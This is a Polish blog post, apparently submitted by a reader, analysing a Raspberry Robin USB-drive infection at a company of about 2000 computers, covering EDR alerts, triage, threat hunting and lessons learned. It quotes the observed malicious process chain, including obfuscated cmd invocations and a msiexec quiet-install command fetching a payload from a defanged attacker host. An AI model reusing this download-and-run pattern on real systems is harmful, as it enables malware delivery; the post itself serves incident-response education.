Pracownik umieścił w porcie pendrive „z projektem od klienta”. Pendrive był zainfekowany… Analiza incydentu bezpieczeństwa w polskiej firmie.

Wstęp

Tekst przygotował jeden z naszych czytelników. Całość opracowania jest z punktu widzenia administratora rozwiązań z zakresu bezpieczeństwa, podczas incydentu, w firmie posiadającej ~2000 komputerów.

Wszystko zaczęło się tak:

otrzymujemy powiadomienie o incydencie wysokiego poziomu z naszego oprogramowania EDR. Nie zdążyliśmy zalogować się na konsolę a otrzymaliśmy już kolejne 2 powiadomienia o tym samym poziomie na tej samej maszynie.

Chwilę później:

prewencyjnie wyizolowaliśmy stację logicznie, przez włączenie jej swojego rodzaju kwarantanny zapewnianej przez EDR – co blokuje jakikolwiek ruch sieciowy z maszyny, pozostawia jedynie możliwość wykonywania operacji przez PowerShell w konsoli – i przeszliśmy do analizy incydentu (w międzyczasie otrzymaliśmy jeszcze jedno powiadomienie o kolejnej zablokowanej akcji).

Wywiad

Szybko skontaktowałem się z użytkownikiem z zapytaniem „czy coś się stało/czy otwierał podejrzane strony/czy wpinał pendrive w komputer?”

Otrzymałem odpowiedź przeczącą i z lekkim podejrzeniem przeszliśmy do analizy co tak naprawdę się stało.

Analiza

(drzewko incydentu Crowdstrike przedstawia schemat w bardzo dobry sposób)

Na drzewku powyżej widzimy w jakiej kolejności, oraz jakie były podejmowane akcje, które będą dokładnie opisane niżej

Zrzut daje nam więcej informacji na temat samego incydentu:

-czas i miejsce – godzina i hostname

-czy została wykonana remediacja? – tak, proces został zablokowany

-jaka była taktyka i technika ataku? – defence evasion via process hollowing MITRE ATT&CK

Dalsza analiza pokazała kolejne incydenty na tej samej maszynie

*pierwszy incydent*

userinit->explorer->cmd

Uruchomiono w nim komendę „/D/RTYpe QlmHC.kll|CMD”, co spowodowało wywołanie:

->conhost 0xffffffff -ForceV1

->cmd /S /D /c” TYpe QlmHC.kll”

->cmd ->msIExeC -q /FV „httpx://4xq[.]nL:8080/y/b/AGUS0QFXeZyIY2/eGxFbqQptiKXUolYNGY/i/[nazwa hosta]?[nazwa użytkownika]”

Na tym etapie EDR zablokował działania i zabił proces.

*drugi incydent*

Lustrzanie podobny do pierwszego:

->conhost

->cmd /S /D /c” TYpe QlmHC.kll”

->cmd 

->msIExeC -q /FV „Httpx://4xq.nL:8080/[…]”

->EXpLOReR „Dysk wymienny”

W tym przypadku jednak oprócz msiexec został też uruchomiony eksplorator plików.

W tym momencie potwierdziła się niestety zasada – nigdy nie ufaj użytkownikowi. Wiedzieliśmy już też że jest to nośnik danych przez zarejestrowane operacje na dyskach.

*trzeci incydent*

Akcje zostały już zablokowane w momencie uruchamiania CMD:

->cmd /Q/cCmd<QLmHc.kLL

Analiza incydentu

W oczy oczywiście rzucił nam się nietypowy adres do którego atakujący próbował się połączyć, wrzuciliśmy go na skanowanie i taki jest wynik: https://urlscan.io/result/9d5c8909-8781-4c72-92cf-78485596199d/

W międzyczasie poinformowaliśmy użytkownika że jego komputer nie opuszcza kwarantanny i jedzie do nas na analizę.

Analiza będzie obejmowała:

-użycie Process Explorera do wstępnego sprawdzenia

-użytkownik pomimo naszej prośby uruchomił ponownie komputer, więc szanse na znalezienie czegoś w zrzucie pamięci było skazane na porażkę, ale pomimo tego utworzyliśmy zrzuty przez listdlls64, handle64 (oba z pakietu Sysinternals), cache DNS (ipconfig /displaydns) i zbadalismy lokalizacje związane z autostartem (autorunsc64 -a * -c -h -s -t), po czym komputer został wyłączony i wysłany do nas

Analiza nie wykazała na ten moment anomalii po incydencie.

W międzyczasie również odezwał się do pracownika jego przełożony, który również został poinformowany o incydencie, dowiedzieliśmy się wtedy, że jednak w komputer był włożony pendrive z “projektem” od klienta. 

Pendrive został przesłany do nas w celu analizy, ale po otwarciu w zabezpieczonym środowisku, czyli na komputerze oddzielonym kompletnie od sieci i poza domeną z zainstalowanym EDR w trybie detekcji (sprawdzanie co się dzieje, bez blokowania/usuwania zagrożeń) by móc korzystać z widoczności w system, którą mógł nam zapewnić. Niestety, dysk był pusty, podejrzewamy że w międzyczasie ktoś mógł go w panice wyczyścić, lub AV wrzucił go do kwarantanny/usunął. Przez to też niestety nie mogliśmy przeanalizować malware pod kątem możliwych IOC.

Zrobiliśmy threat hunting na bazie danych z EDR, sprawdziliśmy procesy, serwisy, wykonywane komendy, użytkowanie narzędzi administratora, aktywności związane z PowerShell, uruchamiane programy, wypakowywane archiwa (.zip, .rar, itp.), manualne zmiany w rejestrze, czy zostały dodane zadania do harmonogramu, oraz jakie jeszcze zapytania do DNS maszyna wysyłała. Poza akcjami wykonanymi przy incydencie, nie zauważyliśmy innych anomalii które mogłyby mieć złośliwe cele.

Sprawdziliśmy również logi Firewall – w danym zakresie czasu, nie było wykonywanego ruchu do podejrzanych stron. EDR zdążył zablokować działanie malware przed połączeniem się z serwerem C2 (command and control – odpowiedzialne za komunikację, zdalne sterowanie i koordynację ataków).

Oczywiście woleliśmy nie ryzykować i dysk poszedł do formatu.

Wnioski

Potwierdziliśmy z informacji w dzienniku zdarzeń że miało miejsce podpięcie dysków zewnętrznych w tym samym czasie co infekcja, co zainicjowało przez autorun działanie droppera.

Od SOC „24/7” dostaliśmy informację (po bagatela 24 godzinach), że miała miejsce infekcja. Powiedzieli to samo co już generalnie wiedzieliśmy, zrobili dodatkowy threat hunting i potwierdzili że nie widać żadnych dodatkowych oznak działania atakującego.

Zaczęliśmy szukać w różnych źródłach jakiejś powtarzalności i doprowadził nas do nich adres, z którego próbowano pobrać binarkę: https://blog.bushidotoken.net/2023/05/raspberry-robin-global-usb-malware.html

W naszym przypadku z opisem ataku zgadzało się: jego wektor (pendrive), format droppera (.lnk), użycie elementów systemu (tj. msiexec, cmd), oraz domena do której skrypt próbował się połączyć.

Z jeszcze innych źródeł, dowiedzieliśmy się że schemat ataku jest dość ciekawy. Pendrive ten, mógł nie być celowym działaniem „klienta”. Mógł to równie dobrze być pendrive, który dostał od dostawcy-słupa/prezentacji garnków/znaleziony na parkingu, już z zaimplementowanym malware.

Podsumowując:

Błędy z naszej strony i nauczki na przyszłość:

1. Za późno zareagowaliśmy z zauważeniem i reakcją na fakt włączonego autorun na komputerach w organizacji, tym bardziej że w obecnych realiach nie jest on już potrzebny
2. Brak monitorowania co dzieje się na portach USB urządzeń, ograniczając się do skanowania ich antywirusem po podłączeniu
3. Szkolenie użytkowników pod każdym względem, nie tylko o ostrożności w przypadku podłączania dysków zewnętrznych do urządzeń firmowych, ale również o zaufaniu do działu bezpieczeństwa, ponieważ zatajenie niektórych informacji może utrudnić namierzenie zagrożenia, tak samo jak mityczny restart naprawiający wszystko może jednak przeszkodzić w niektórych działaniach.

---

Nie przegap niczego. Codzienny, sekurakowy skrót newsów / alertów ze świata cyberbezpieczeństwa na e-mail (8:00). W skrócie: wysyłamy na maila tylko (skrót) z newsów (więcej informacji w naszej polityce prywatności).